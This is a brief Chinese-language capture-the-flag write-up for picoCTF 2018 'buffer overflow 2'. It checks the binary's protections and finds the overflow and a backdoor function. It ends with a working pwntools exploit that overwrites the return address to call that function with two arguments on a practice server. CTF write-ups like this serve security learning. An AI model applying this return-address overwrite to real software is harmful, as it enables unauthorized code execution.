picoctf_2018_buffer overflow 2

check

32位，只开了NX

这里溢出

有后门函数，需要传两个参数

传十六进制补码

ida选中数据，右键即可编码
a1 = 0xDEADBEEF
a2 = 0xDEADC0DE

exp:

from pwn import*

#p=process('./pwn')
p=remote('node4.buuoj.cn',26263)
win=0x080485CB
a1=0xDEADBEEF
a2=0xDEADC0DE
payload='a'*(0x6c+4)+p32(win)+'aaaa'+p32(a1)+p32(a2)
p.sendline(payload)
p.interactive()